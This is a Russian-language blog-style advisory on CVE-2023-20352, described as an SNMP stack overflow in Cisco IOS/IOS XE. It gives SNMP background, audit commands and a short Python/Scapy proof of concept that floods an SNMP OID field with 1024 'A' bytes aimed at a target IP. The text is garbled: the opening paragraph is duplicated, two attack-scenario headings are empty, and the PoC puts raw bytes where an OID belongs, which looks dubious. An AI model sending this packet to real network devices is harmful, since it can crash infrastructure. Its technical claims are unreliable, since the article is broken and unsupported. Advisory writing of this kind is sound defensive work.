
CVE-2023-20352 — критическая ошибка переполнения стека в SNMP-движке Cisco IOS/IOS XE. С помощью всего лишь специально сформированных SNMP-пакетов удалённые злоумышленники могут обрушить системы или захватить root-контроль. Уязвимы все версии SNMP — установите исправление сейчас или рискуйте полной компрометацией.
CVE-2023-20352 — это критическая уязвимость переполнения стека в движке SNMP Cisco IOS/IOS XE. С помощью всего лишь специально сформированных SNMP-пакетов удалённые злоумышленники могут обрушить системы или получить root-контроль. Уязвимы все версии SNMP — патчите сейчас или рискуйте полной компрометацией.
Автор: Mark Malllia
Простой протокол управления сетью (SNMP) — это базовый протокол в администрировании сетей, позволяющий системным администраторам отслеживать, настраивать и управлять сетевыми устройствами. Он работает на портах 161 (для SNMP-запросов) и 162 (для ловушек). SNMP поддерживает три версии: v1, v2c и v3, каждая из которых обеспечивает разный уровень безопасности. Эта тема мне особенно близка: моя диссертация была посвящена SNMP, а Cisco остаётся неотъемлемой частью моей повседневной работы.
Возможности SNMP распространяются на мониторинг в реальном времени, управление инвентаризацией и обнаружение неисправностей в сетях. Несмотря на свою важность, роль SNMP в управлении сетями также создаёт риски безопасности при недостаточной защите, как видно на примере уязвимости CVE-2023-20352.
CVE-2023-20352 — это уязвимость высокого уровня серьёзности, связанная с переполнением буфера в стеке, которая затрагивает устройства Cisco IOS и IOS XE. Она находится в подсистеме SNMP, обрабатывающей сетевой управляющий трафик.
Технические детали:
Уязвимость активируется при отправке специально сформированных SNMP-пакетов на уязвимое устройство, что приводит к некорректной проверке границ и переполнению стека. Затронуты все версии SNMP.
Атака с низкими привилегиями:
Атака с высокими привилегиями:
Для обнаружения уязвимостей администраторы могут использовать следующие команды CLI:
show running-config | include snmp-server community
show running-config | include snmp-server group
show snmp
snmp-server view <view-name> <OID> excluded.Концептуальный PoC с использованием Python и Scapy демонстрирует возможность эксплуатации:
from scapy.all import *
# Replace with target IP and SNMP community string
target_ip = "192.168.1.1"
community = "public"
# Craft malicious packet
payload = b"A" * 1024 # Overflow buffer
packet = IP(dst=target_ip)/UDP(dport=161)/SNMP(community=community, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))
send(packet)
Примечание: это упрощённый пример. Реальная эксплуатация требует точного формирования полезной нагрузки и повышения привилегий.
Уязвимость CVE-2023-20352 подчёркивает критическую роль SNMP и связанные с ней риски. Организации должны уделять первоочередное внимание обновлению и защите конфигураций SNMP для снижения угроз и обеспечения устойчивости сети к новым атакам.